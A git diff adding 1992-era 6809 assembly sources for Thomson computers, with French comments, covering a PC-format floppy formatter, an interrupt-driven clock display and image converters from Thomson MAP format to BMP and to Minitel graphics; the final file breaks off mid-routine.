+ LDB #$FF
+ STB 3,X
+ DECA
+ BNE D1860
+ DEC ,S
+ LBNE D1740
+D1870 LDA 1,X
+ BITA #$40
+ BNE D1890
+D1880 LDA ,X
+ BPL D1880
+ STB 3,X
+ BRA D1870
+D1890 PULS A
+ CLR ,X
+ TST <$48
+ BPL D1930
+ LDA #$E5
+ BSR D1940
+ LDU #$60D3
+ LBSR D1120
+D1900 LDA ,U+
+ BEQ D1930
+ STA <$4C
+ PSHS U
+ LDA <$58
+ BEQ D1910
+ LBSR D0750
+ BRA D1920
+D1910 LBSR D0560
+D1920 PULS U
+ BCC D1900
+D1930 RTS
+D1940 LDU <$4F
+ LDB <$58
+ ANDB #$80
+D1950 STA ,U+
+ DECB
+ BNE D1950
+ RTS
+D1960 LDA #$14
+ STA <$4B
+ LBSR D1160
+ LDA #$FF
+ BSR D1940
+ LDA #$10
+ STA <$4C
+D1970 LBSR D1120
+ LBSR D0420
+ BCS D1980
+ DEC <$4C
+ BNE D1970
+ LDU <$4F
+ CLR ,U
+ LDD #$FEFE
+ STD $29,U
+ LDA #$02
+ STA <$4C
+ LBSR D0420
+ BCS D1980
+ CLRA
+D1980 RTS
diff --git a/code/3rdparty/sources3-lambinet/FORMATPC.ASM b/code/3rdparty/sources3-lambinet/FORMATPC.ASM
new file mode 100644
index 0000000..daaa039
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/FORMATPC.ASM
@@ -0,0 +1,218 @@
+*** exemple de dérivation d'un programme
+*** ressourcé avec CODEVIEW3
+
+*** FORMATAGE PHYSIQUE D'UNE DISQUETTE
+*** AU STANDARD PC (80 PISTES DE 2 FACES
+*** DE 9 SECTEURS DE 512 OCTETS
+
+*** MICHEL SAINT-BRIANT (ASCI 1992)
+
+* les BSR et LBSR ont été remplacés par
+* des JSR (absolu) et quelques modifica-
+* tions mineures ont été apportées.
+
+ ORG $8000
+
+ PSHS U,Y,X,DP,B,A,CC
+ JSR $E09D
+ CLR <$49
+ JSR $E0A7
+ JSR $E45A
+ LBCS P0060
+ JSR $E134
+ LBCS P0060
+ CLR <$4B piste 0
+ JSR $E521
+ LBCS P0060
+P0000 CLR <$49 face 0
+ BRA P0020
+P0010 LDA #$01 face 1
+ STA <$49
+P0020 JSR $E0A7
+ JSR $E45A
+ PSHS CC
+ ORCC #$50
+ LBSR P0080
+ LDA #$02
+ PSHS A
+P0030 LBSR P0140
+ LDX #$E7D0
+ JSR $E45A
+ LBSR P0200
+ BCC P0040
+ DEC ,S
+ BNE P0030
+ PULS A
+ PULS CC
+ COMA
+ BRA P0060
+P0040 PULS A
+ PULS CC
+ TST <$49
+ BEQ P0010
+ LDA <$4B est-ce la dernière
+ CMPA #$4F \piste?
+ BEQ P0050
+ BSR P0070
+ BRA P0000
+P0050 LDA #$50
+ STA <$4B
+P0060 JMP $E08A sortie du DOS
+P0070 INC <$4B piste=piste+1
+ JMP $E47A
+P0080 LDX #$60D3 on bufférise les
+ LDB #$09 9 secteurs en
+P0090 CLR B,X prenant un entre-
+ DECB lacement de 1 (pc)
+ BNE P0090
+ LEAX 9,X
+ PSHS X
+ LDX #$60D3
+ LDA #$01
+ LDB #$01
+P0100 STA ,X
+ LEAX B,X
+ INCA
+ CMPA #$09
+ BHI P0130
+P0110 CMPX ,S
+ BCS P0120
+ LEAX -9,X
+P0120 TST ,X
+ BEQ P0100
+ LEAX 1,X
+ BRA P0110
+P0130 LEAS 2,S
+ RTS
+P0140 LDX #$60D3
+ LDU <$4F
+P0150 LDB ,X+
+ BEQ P0160
+ LDA <$4B
+ STA ,U
+ LDA <$49
+ STA 1,U
+ STB 2,U
+ LDY #$0004
+ LDA #$02
+ STA 3,U
+ LDD #$B230
+ JSR $E364
+ STD ,U++
+ BRA P0150
+P0160 RTS
+P0170 LDB 1,X
+ BITB #$40
+ BEQ P0170
+P0180 LDB 3,X
+ LDB ,X
+ BPL P0180
+P0190 LDB ,X
+ BPL P0190
+ RTS
+P0200 LDA #$09 on formate piste
+ PSHS A
+ LDU <$4F
+ JSR $E341
+ BSR P0170
+ LDD #$4EFF
+ STD 3,X
+ LDB #$04
+ STB ,X
+ LDA #$1E
+P0210 LDB ,X
+ BPL P0210
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE P0210
+P0220 LDA #$0C
+P0230 LDB ,X
+ BPL P0230
+ CLR 3,X
+ DECA
+ BNE P0230
+P0240 LDB ,X
+ BPL P0240
+ LDD #$A10A
+ STD 3,X
+P0250 LDB ,X
+ BPL P0250
+ STA 3,X
+P0260 LDB ,X
+ BPL P0260
+ STA 3,X
+P0270 LDB ,X
+ BPL P0270
+ LDD #$FEFF
+ STD 3,X
+ LDA #$06
+P0280 LDB ,X
+ BPL P0280
+ LDB ,U+
+ STB 3,X
+ DECA
+ BNE P0280
+ LDA #$16
+P0290 LDB ,X
+ BPL P0290
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE P0290
+ LDA #$0C
+P0300 LDB ,X
+ BPL P0300
+ CLR 3,X
+ DECA
+ BNE P0300
+P0310 LDB ,X
+ BPL P0310
+ LDD #$A10A
+ STD 3,X
+P0320 LDB ,X
+ BPL P0320
+ STA 3,X
+P0330 LDB ,X
+ BPL P0330
+ STA 3,X
+P0340 LDB ,X
+ BPL P0340
+ LDD #$FBFF
+ STD 3,X
+ LDY #$0200 512 octets
+P0350 LDB ,X
+ BPL P0350
+ LDB #$F6 code $F6 pour
+ STB 3,X \remplissage
+ LEAY -1,Y
+ BNE P0350
+P0360 LDB ,X
+ BPL P0360
+ LDB #$2B $2BF6 est le chek-
+ STB 3,X \sum correspondant
+P0370 LDB ,X
+ BPL P0370
+ LDB #$F6
+ STB 3,X
+ LDA #$54
+P0380 LDB ,X
+ BPL P0380
+ LDB #$4E
+ STB 3,X
+ DECA
+ BNE P0380
+ DEC ,S
+ LBNE P0220
+P0390 LDA 1,X
+ BITA #$40
+ BNE P0410
+P0400 LDA ,X
+ BPL P0400
+ STB 3,X
+ BRA P0390
+P0410 PULS A
+ CLR ,X
+ RTS
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/HORLOGE.ASM b/code/3rdparty/sources3-lambinet/HORLOGE.ASM
new file mode 100644
index 0000000..2d422a4
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/HORLOGE.ASM
@@ -0,0 +1,204 @@
+****** HORLOGE ******
+
+****** EQUATES ******
+
+DIXIEM EQU $6580
+SECOND EQU $6581
+MINUTE EQU $6582
+HEURE EQU $6583
+JOUR EQU $6584
+MOIS EQU $6585
+ANNEE EQU $6586
+AFTIME EQU $6587
+
+
+
+****** INITIALISATION ******
+
+DEBUT PSHS U,Y,X,DP,B,A,CC
+ LDU #DIXIEM
+ LDA #$4F
+BDEB CLR A,U
+ DECA
+ BNE BDEB
+ LDX #$65D0
+ STX $6027
+ LDA $6019
+ ORA #$20
+ STA $6019
+ LDA #$01
+ STA SECOND
+ PULS CC,A,B,DP,X,Y,U,PC
+
+****** INTERRUPTION ******
+
+INTER PSHS U,Y,X,DP,B,A,CC
+ INC DIXIEM
+ LDA DIXIEM
+ CMPA #$0A
+ LBLO SOR
+SEC CLR DIXIEM
+ INC SECOND
+ LDA SECOND
+ CMPA #$3C
+ LBNE TIMEOK
+ CLR SECOND
+ INC MINUTE
+ LDA MINUTE
+ CMPA #$3C
+ LBNE TIMEOK
+ CLR MINUTE
+ INC HEURE
+ LDA HEURE
+ CMPA #$18
+ LBNE TIMEOK
+ CLR HEURE
+ INC JOUR
+ LDA JOUR
+ CMPA #$20
+ BEQ CHGT31
+ CMPA #$1F
+ BEQ CHGT30
+ CMPA #$1E
+ BEQ CHGT29
+ CMPA #$1D
+ LBNE TIMEOK
+ LDA MOIS
+ CMPA #2
+ LBNE TIMEOK
+CHGT28 LDA ANNEE
+ ANDA #3
+ LBEQ TIMEOK
+ BRA CHGTM
+CHGT29 LDA MOIS
+ CMPA #2
+ LBNE TIMEOK
+ LDA ANNEE
+ ANDA #3
+ LBNE TIMEOK
+ BRA CHGTM
+CHGT30 LDA MOIS
+ CMPA #4
+ BEQ CHGTM
+ CMPA #6
+ BEQ CHGTM
+ CMPA #9
+ BEQ CHGTM
+ CMPA #11
+ BEQ CHGTM
+ LBRA TIMEOK
+CHGT31 LDA MOIS
+ CMPA #1
+ BEQ CHGTM
+ CMPA #3
+ BEQ CHGTM
+ CMPA #5
+ BEQ CHGTM
+ CMPA #7
+ BEQ CHGTM
+ CMPA #8
+ BEQ CHGTM
+ CMPA #10
+ BEQ CHGTM
+ CMPA #12
+ LBNE TIMEOK
+CHGTM LDA #1
+ STA JOUR
+ INC MOIS
+ LDA MOIS
+ CMPA #13
+ BNE TIMEOK
+CHGTA LDA #1
+ STA MOIS
+ INC ANNEE
+ LDA ANNEE
+ CMPA #100
+ BNE TIMEOK
+ CLR ANNEE
+TIMEOK TST AFTIME
+ LBNE SOR
+ LDY #$4020
+ LDB JOUR
+ BSR AFNBR
+ LDB #$2F
+ BSR AFASC
+ LDB MOIS
+ BSR AFNBR
+ LDB #$2F
+ BSR AFASC
+ LDB ANNEE
+ BSR AFNBR
+ LDY #$4160
+ LDB HEURE
+ BSR AFNBR
+ LDB #$3A
+ BSR AFASC
+ LDB MINUTE
+ BSR AFNBR
+ LDB #$2E
+ BSR AFASC
+ LDB SECOND
+ BSR AFNBR
+ JMP MMS
+AFNBR CLRA
+ TSTB
+ BEQ AFF0
+BDAA INCA
+ DAA
+ DECB
+ BNE BDAA
+AFF0 PSHS A
+ TFR A,B
+ RORB
+ RORB
+ RORB
+ RORB
+ ANDB #$0F
+ ADDB #$30
+ BSR AFASC
+ PULS B
+ ANDB #$0F
+ ADDB #$30
+ BSR AFASC
+ RTS
+AFASC PSHS Y
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDA #8
+ MUL
+ ADDD #$E74D
+ TFR D,X
+ LDA #8
+BAFF LDB ,-X
+ STB ,Y
+ LEAY $28,Y
+ DECA
+ BNE BAFF
+ PULS Y
+ LEAY 1,Y
+ RTS
+MMS LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$A340
+ LDY #$4000
+ LDB #$10
+BMMS0 LDA #5
+BMMS1 LDU ,X++
+ STU ,Y++
+ DECA
+ BNE BMMS1
+ DECB
+ BEQ SOR
+ LEAY $1E,Y
+ BRA BMMS0
+
+SOR PULS CC,A,B,DP,X,Y,U
+ JMP $E830
+
+
+****** FIN ******
+
+
+ END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM"
new file mode 100644
index 0000000..f02ab24
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076BMP.ASM"
@@ -0,0 +1,244 @@
+****************************************
+* *
+* TRANSCODEUR D'IMAGES TO.MAP > PC.BMP *
+* *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+* *
+* (c) A.S.C.I. Copyright 1992 *
+* *
+****************************************
+
+* TRANSFERT D'UNE IMAGE THOMSON EN UNE
+* IMAGE AU FORMAT PC-WINDOWS -> .BMP
+
+ ORG $9800
+
+ PSHS A,B,CC,DP,X,Y,U
+
+
+ LDB #$14 ARRET CLIGNOTEMENT
+ JSR $E803
+
+ LDX #FILE
+ LDA ,X++
+ SUBA #$30
+ STA $6049
+ LDU #$624B
+ LDD #$2003
+ STD ,U++
+ LDA #$FF
+ STA ,U++
+ LDB #8
+COPS LDA ,X+
+ STA ,U+
+ DECB
+ BNE COPS
+ LDD #$424D 'BM'
+ STD ,U++
+ LDD #$5009 'P'+8 octets
+COPC STA ,U+
+ LDA ,X+
+ DECB
+ BNE COPC
+
+ LDB #3 CODE DE OPEN
+ JSR $EC0C OUVERTURE
+ LDX #ENTETE
+ LDY #30
+COPEN0 LDA ,X+
+ LDB #4
+ JSR $EC0C
+ LEAY -1,Y
+ BNE COPEN0
+ LDY #24
+COPEN1 CLRA
+ LDB #4
+ JSR $EC0C
+ LEAY -1,Y
+ BNE COPEN1
+ LDX #PALETT
+ LDY #64
+COPEN2 LDA ,X+
+ LDB #4
+ JSR $EC0C
+ LEAY -1,Y
+ BNE COPEN2
+ LDX #$5F18
+ STX ADDRES
+ LDA MODE
+ BEQ MODTO7
+ CMPA #2
+ LBEQ MODBM4
+ CMPA #3
+ LBEQ MODB16
+ LBRA QUITTE
+
+MODTO7 LDY #$0028
+OCTET LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDA ,X
+ BITA #$40
+ BEQ OCTET0
+ ANDA #$38
+ BRA OCTET1
+OCTET0 ORA #$40
+OCTET1 ANDA #$78
+ ASLA
+ STA FORM0+1
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ STA FORM1+1
+ LDA ,X
+ ANDA #$07
+ TST ,X
+ BMI OCTET2
+ ORA #$08
+OCTET2 STA FOND1+1
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ STA FOND0+1
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDB #4
+ LDA ,X+
+ PSHS A,B
+FORM0 LDA #$00
+ ASL ,S
+ BCS POINT0
+FOND0 LDA #$00
+POINT0 ASL ,S
+ BCC FOND1
+FORM1 ORA #$00
+ BRA POINT1
+FOND1 ORA #$00
+POINT1 LDB #4
+ JSR $EC0C
+ DEC 1,S
+ BNE FORM0
+ PULS A,B
+ LEAY -1,Y
+ BNE OCTET
+ LDX ADDRES
+ CMPX #$4000
+ LBLE QUITTE
+ LEAX -$28,X
+ STX ADDRES
+ BRA MODTO7
+
+MODBM4 LDY #$0028
+OCBM40 LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDD ,X
+ PSHS A,B
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDD ,X++
+ PSHS A,B
+ LDA #8
+ PSHS A
+OCBM41 ASL 1,S
+ ROLA
+ ASL 3,S
+ ROLA
+ LSLA
+ LSLA
+ ASL 2,S
+ ROLA
+ ASL 4,S
+ ROLA
+ LSLA
+ LSLA
+ LDB #4
+ JSR $EC0C
+ DEC ,S
+ BNE OCBM41
+ PULS CC,A,B,U
+ LEAY -2,Y
+ BNE OCBM40
+ LDX ADDRES
+ CMPX #$4000
+ LBLE QUITTE
+ LEAX -$28,X
+ STX ADDRES
+ BRA MODBM4
+
+MODB16 LDY #$0028
+OCBM16 LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDA ,X
+ TFR A,DP
+ ANDA #$F0
+ STA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ORA ,X
+ LDB #4
+ JSR $EC0C
+ TFR DP,A
+ ANDA #$0F
+ STA ,X
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ ORA ,X
+ LDB #4
+ JSR $EC0C
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDA ,X
+ TFR A,DP
+ ANDA #$F0
+ STA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ORA ,X
+ LDB #4
+ JSR $EC0C
+ TFR DP,A
+ ANDA #$0F
+ STA ,X
+ ASLA
+ ASLA
+ ASLA
+ ASLA
+ ORA ,X+
+ LDB #4
+ JSR $EC0C
+ LEAY -1,Y
+ BNE OCBM16
+ LDX ADDRES
+ CMPX #$4000
+ LBLE QUITTE
+ LEAX -$28,X
+ STX ADDRES
+ BRA MODB16
+
+QUITTE LDB #6 CLOSE
+ JSR $EC0C
+ PULS A,B,DP,CC,X,Y,U,PC
+
+ADDRES FDB 0
+ENTETE FDB $424D,$7680,0,0,0,$7600
+ FDB 0,$2800,0,$4001,0,$C800
+ FDB 0,$0100,$0400
+PALETT RMB 64
+MODE FCB 1
+FILE FCC #4:IMAGE #
+COMMEN FCC #MAP>>BMP#
+
+ END
diff --git "a/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM" "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM"
new file mode 100644
index 0000000..d0bbec1
--- /dev/null
+++ "b/code/3rdparty/sources3-lambinet/Map convert/MAP\076TEL.ASM"
@@ -0,0 +1,834 @@
+****************************************
+* *
+* TRANSCODEUR D'IMAGES TO7-70,BM4,BM16 *
+* *
+* en IMAGES pour MINITEL en car. grap. *
+* *
+* par Michel SAINT-BRIANT * 15/03/1992 *
+* *
+* (c) A.S.C.I. Copyright 1992 *
+* *
+****************************************
+
+ ORG $9800
+
+ PSHS A,B,CC,DP,X,Y,U
+
+ LDB #$14 ARRET CLIGNOTEMENT
+ JSR $E803
+ LDA $605F TYPE DE CONSOLE
+ LSLA
+ STA TYPE
+
+* ETABLISSEMENT DE LA TABLE DES GRIS
+
+ LDU #PALET+32
+ LDA #15
+LIPAL LDX #$FFFF
+ LDY #0
+ JSR $EC00
+ STX ,--U
+ DECA
+ BPL LIPAL
+
+ LDX #PALET
+ LDY #TABGRI
+NOUPAL LDD ,X
+ BITA #$10
+ BNE CALGRI
+ COMA
+ COMB
+ STD ,X
+CALGRI CLRA
+ ANDB #$F0
+ LSRB
+ LSRB
+ TFR D,U
+ LDD ,X
+ ANDA #$0F
+ LEAU A,U
+ ANDB #$0F
+ LSLB
+ LEAU B,U
+ TFR U,D
+ STB ,Y+
+ CLRA
+RECPA0 SUBB #7
+ BMI RECPA1
+ INCA
+ BRA RECPA0
+RECPA1 PSHS A
+ LDB #17
+ MUL
+ PULS A
+ ORA #$10
+ STD ,X++
+ CMPX #PALET+32
+ BLO NOUPAL
+ LDX #PALET
+ LDA #$FF
+ JSR $EC00
+
+* DECODAGE DE L'IMAGE EN FONCTION DU
+* TYPE ET STOCKAGE EN RAM
+
+ LDX #$A000
+ LDU #0
+BZERO STU ,X++
+ CMPX #$E000
+ BLO BZERO
+
+ LDU #$A800
+ LDX #$4000
+ LDA #20 20 LIGNES MINITEL
+ STA COMPTL
+LIGNE LDA #40 40 COLONNES
+ STA COMPTO
+COLON LDA #3
+ LBSR CALZON
+ LEAX 120,X
+ LDA #4
+ LBSR CALZON
+ LEAX 160,X
+ LDA #3
+ LBSR CALZON
+
+ LDD -12,U
+ ADDD -10,U
+ ADDD -4,U
+ ADDD -2,U
+ TFR D,Y
+ LEAY D,Y
+ LEAY D,Y
+ LDD -8,U
+ ADDD -6,U
+ LEAY D,Y
+ LEAY D,Y
+ LEAY D,Y
+ LEAY D,Y
+ LDD #0
+ EXG D,Y
+ CMPD #320
+ BLS MOYEN1
+MOYEN0 SUBD #320
+ LEAY 16,Y
+ CMPD #320
+ BHI MOYEN0
+MOYEN1 CMPD #20
+ BLS MOYEN3
+MOYEN2 SUBD #20
+ LEAY 1,Y
+ CMPD #20
+ BHI MOYEN2
+MOYEN3 STY ,U
+ LEAU 4,U
+ LEAX -279,X
+ DEC COMPTO
+ LBNE COLON
+ LEAX 360,X
+ DEC COMPTL
+ LBNE LIGNE
+
+ LDY #$A800
+CARAC LDX 12,Y
+ STX COMP+2
+ LDD #5
+ PSHS A,B
+ STA COMPTO
+ LDU #0
+ANAL LDD ,Y++
+COMP CMPD #0000
+ BCS SUPER
+ LEAU D,U
+ INC COMPTO
+SUPER ROR ,S
+ DEC 1,S
+ BMI AUTRE
+ BNE ANAL
+ ROR ,S
+ BRA ANAL
+AUTRE PULS A,B
+ COMA
+ LSRA
+ LDX ,Y++
+ STA ,Y+
+ TFR X,D
+ LEAX D,X
+ LEAX D,X
+ TFR X,D
+ LEAX D,X
+ TFR U,D
+ COMA
+ COMB
+ ADDD #1
+ LEAX D,X
+ LDB #6
+ SUBB COMPTO
+ BEQ PADIVI
+ CMPB #6
+ BRA DIVI0
+PADIVI LDA #$7F
+ STA -1,Y
+STOCOL LDA #0
+ ADDA -3,Y
+ BRA COPOCT
+DIVI0 STB DECPT0+2
+ LDD #$FFFF
+ EXG D,X
+DECPT0 SUBD #0
+ LEAX 1,X
+ BPL DECPT0
+ TFR X,D
+ LSLA
+ LSLA
+ LSLA
+ STA STOCOL+1
+ STA ,Y
+ LDA COMPTO
+ STA DECPT1+2
+ LDD #$FFFF
+ EXG D,U
+DECPT1 SUBD #0
+ LEAU 1,U
+ BPL DECPT1
+ TFR U,D
+ ORA ,Y
+COPOCT STA ,Y+
+ CMPY #$DA00
+ LBNE CARAC
+
+*HARMONISATION DES SUITES DE COULEURS
+
+ LDX #$A80F
+ LDA #$FF
+ STA VALA+1
+ STA VALB+1
+HARMO LDA ,X
+ TFR A,B
+ ANDA #7
+ LSRB
+ LSRB
+ LSRB
+ PSHS A,B
+VALB CMPA #0
+ BEQ CHGO
+VALA CMPB #0
+ BNE CHGN
+CHGO LSLA
+ LSLA
+ LSLA
+ STA ,X
+ ORB ,X
+ LDA -1,X
+ COMA
+ ANDA #$7F
+ ORA #$20
+ STD -1,X
+ PULS A,B
+ EXG A,B
+ BRA CHGF
+CHGN PULS A,B
+CHGF STA VALA+1
+ STB VALB+1
+ LEAX 16,X
+ CMPX #$DA00
+ BLO HARMO
+
+
+ LDU #TABLE
+ LDY #$A001
+ LDX #$A80E
+ LDD #$0C0E
+ STD ,Y++
+ LDA #$FF
+ STA COLOR+1
+ STA COLOR0+1
+ STA COLOR2+1
+AFFMIN LDA #$1B
+ LDB 1,X
+COLOR CMPB #0
+ BEQ COMPAC
+ ANDB #7
+COLOR0 CMPB #0
+ BEQ COLOR1
+ STB COLOR0+1
+ LDB B,U
+ ORB #$40
+ STD ,Y++
+COLOR1 LDB 1,X
+ STB COLOR+1
+ LSRB
+ LSRB
+ LSRB
+COLOR2 CMPB #0
+ BEQ COLOR3
+ STB COLOR2+1
+ LDB B,U
+ ORB #$50
+ STD ,Y++
+COLOR3 LDA ,X
+REPRIS STA ,Y+
+ LEAX 16,X
+REPSUI CMPX #$DA00
+ BLO AFFMIN
+ LDD #$0F1B
+ STD ,Y++
+ LDA #$47
+ STD ,Y++
+ LDD #$50FF
+ STD ,Y++
+ LBRA AFFICH
+
+* COMPACTAGE SI CODES REPETES > 3 FOIS
+
+COMPAC LDA ,X
+ CMPA -16,X
+ BNE REPRIS
+ PSHS X,U
+ CLRB
+ LDU ,X
+ STU COMCOM+2
+COMCO0 LEAX 16,X
+ INCB
+ LDU ,X
+COMCOM CMPU #0
+ BEQ COMCO0
+ PULS X,U
+ CMPB #3
+ BLO REPRIS
+ CMPB #64
+ BLO PASTRO
+ LDB #64
+PASTRO LDA #$12 REPETITION
+ ADDB #64
+ STD ,Y++
+ LDA #16
+ SUBB #64
+ MUL
+ LEAX D,X
+ BRA REPSUI
+
+
+CALZON PSHS X,A
+ SUBA #3
+ STA TAILLE
+CLZ0 BSR CALOC
+ LEAX 40,X
+ DEC ,S
+ BNE CLZ0
+ LDX ,U
+ LBSR XMUL
+ STX ,U++
+ LDX ,U
+ LBSR XMUL
+ STX ,U++
+ PULS A,X,PC
+
+CALOC PSHS X,Y
+ LDY #TABGRI
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDB ,X
+ TFR B,DP
+ ORA #1
+ STA $E7C3
+ TST TYPE
+ LBEQ CALOC7
+ BMI CALOCH
+
+CALOC4 PSHS DP
+ LDA ,X
+ LDX ,U
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ STX ,U
+ LDX 2,U
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LSL ,S
+ ROLB
+ LDB B,Y
+ ABX
+ STX 2,U
+ PULS A,X,Y,PC
+
+CALOCH LDB ,X
+ LDX ,U
+ PSHS B
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDB B,Y
+ ABX
+ ABX
+ PULS B
+ ANDB #$0F
+ LDB B,Y
+ ABX
+ ABX
+ STX ,U
+ TFR DP,B
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDB B,Y
+ LDX 2,U
+ ABX
+ ABX
+ TFR DP,B
+ ANDB #$0F
+ LDB B,Y
+ ABX
+ ABX
+ STX 2,U
+ PULS X,Y,PC
+
+CALOC7 LDA ,X
+ ANDB #$87
+ BMI PAST0
+ ORB #8
+PAST0 ANDB #$0F
+ LDB B,Y
+ EXG B,DP
+ ANDB #$78
+ BITB #$40
+ BNE PAST1
+ ORB #$40
+ BRA PAST2
+PAST1 ANDB #$38
+PAST2 LSRB
+ LSRB
+ LSRB
+ LDB B,Y
+ EXG B,DP
+ PSHS B,DP
+ LDX ,U
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ STX ,U
+ LDX 2,U
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ CLRB
+ LSLA
+ ROLB
+ LDB B,S
+ ABX
+ STX 2,U
+ PULS A,B,X,Y,PC
+
+XMUL PSHS X
+ TFR X,D
+ TST TAILLE
+ BEQ X13D8
+X39D32 LSLB
+ ROLA
+ LSLB
+ ROLA
+ LEAX D,X
+ TFR X,D
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ TFR D,X
+ PULS D
+ COMA
+ COMB
+ ADDD #1
+ LEAX D,X
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ BRA FINXD
+X13D8 LSLB
+ ROLA
+ LEAX D,X
+ TFR X,D
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ PULS X
+ LEAX D,X
+ TFR X,D
+FINXD LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LDX CORREC
+ LEAX D,X
+ CMPX #0
+ BPL COR0
+ LDX #0
+ BRA COR1
+COR0 CMPX #$800
+ BLO COR1
+ LDX #$7FF
+COR1 RTS
+
+AFFICH TST FLAGAF
+ LBNE TOMIN
+
+* AFFICHAGE TO8
+
+AFFTO LDB #$1B
+ JSR $E803
+ LDB #$5A
+ JSR $E803
+ LDB #$0C
+ JSR $E803
+ LDB #$14
+ JSR $E803
+ LDX #PALGRI
+ LDA #$FF
+ JSR $EC00
+
+ LDU #TABCOL
+ LDX #$B000
+ LDY #$A003
+CD1 LDB COUL
+CD2 LDA ,Y+
+ CMPA #$12
+ BEQ REPETE
+ CMPA #$1B
+ BNE CD4
+ LDA ,Y+
+ SUBA #$40
+ CMPA #8
+ BLO CD3
+ ANDB #$38
+ SUBA #8
+ ORB A,U
+ BRA CD2
+CD3 ANDB #7
+ ORB A,U
+ BRA CD2
+CD4 ORB #$C0
+ STB COUL
+ STB 2400,X
+ CLRB
+ LSRA
+ BCC CD5
+ ORB #$F0
+CD5 LSRA
+ BCC CD6
+ ORB #$0F
+CD6 STB 1600,X
+ CLRB
+ LSRA
+ BCC CD7
+ ORB #$F0
+CD7 LSRA
+ BCC CD8
+ ORB #$0F
+CD8 STB 800,X
+ CLRB
+ LSRA
+ BCC CD9
+ ORB #$F0
+CD9 LSRA
+ LSRA
+ BCC CD10
+ ORB #$0F
+CD10 STB ,X+
+ BRA CD11
+
+REPETE LDA ,Y+
+ SUBA #$40
+ PSHS A,X
+ LEAX 2400,X
+ LDB -1,X
+REP0 STB ,X+
+ DECA
+ BNE REP0
+ PULS A,X
+ PSHS A,X
+ LEAX 1600,X
+ LDB -1,X
+REP1 STB ,X+
+ DECA
+ BNE REP1
+ PULS A,X
+ PSHS A,X
+ LEAX 800,X
+ LDB -1,X
+REP2 STB ,X+
+ DECA
+ BNE REP2
+ PULS A,X
+ LDB -1,X
+REP3 STB ,X+
+ DECA
+ BNE REP3
+
+CD11 CMPX #$B000+800
+ LBLO CD1
+
+ LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ LDX #$B000+2400
+ LDY #$4000
+ LDA #20
+CD12 LDB #20
+CD13 LDU ,X++
+ STU 40,Y
+ STU 80,Y
+ STU 120,Y
+ STU 160,Y
+ STU 200,Y
+ STU 240,Y
+ STU 280,Y
+ STU 320,Y
+ STU 360,Y
+ STU ,Y++
+ DECB
+ BNE CD13
+ LEAY 360,Y
+ DECA
+ BNE CD12
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$B000
+ LDY #$4000
+ LDA #20
+CD14 LDB #20
+CD15 LDU 1600,X
+ STU ,Y
+ STU 40,Y
+ STU 80,Y
+ LDU 800,X
+ STU 120,Y
+ STU 160,Y
+ STU 200,Y
+ STU 240,Y
+ LDU ,X++
+ STU 280,Y
+ STU 320,Y
+ STU 360,Y
+ LEAY 2,Y
+ DECB
+ BNE CD15
+ LEAY 360,Y
+ DECA
+ BNE CD14
+FINAF JSR $E806
+ TSTB
+ BEQ FINAF
+ LDX #PALORI
+ LDA #$FF
+ JSR $EC00
+ LBRA FIN
+
+TOMIN LDD #$1B3A
+ STD ,Y++
+ LDD #$6AFE
+ STD ,Y++
+ LDD #$E7FD
+ TFR A,DP
+ STB <$C2
+ LDU #$A000
+ LBSR ROUT1
+ LDX #$1000
+TEMP1 LEAX -1,X
+ BNE TEMP1
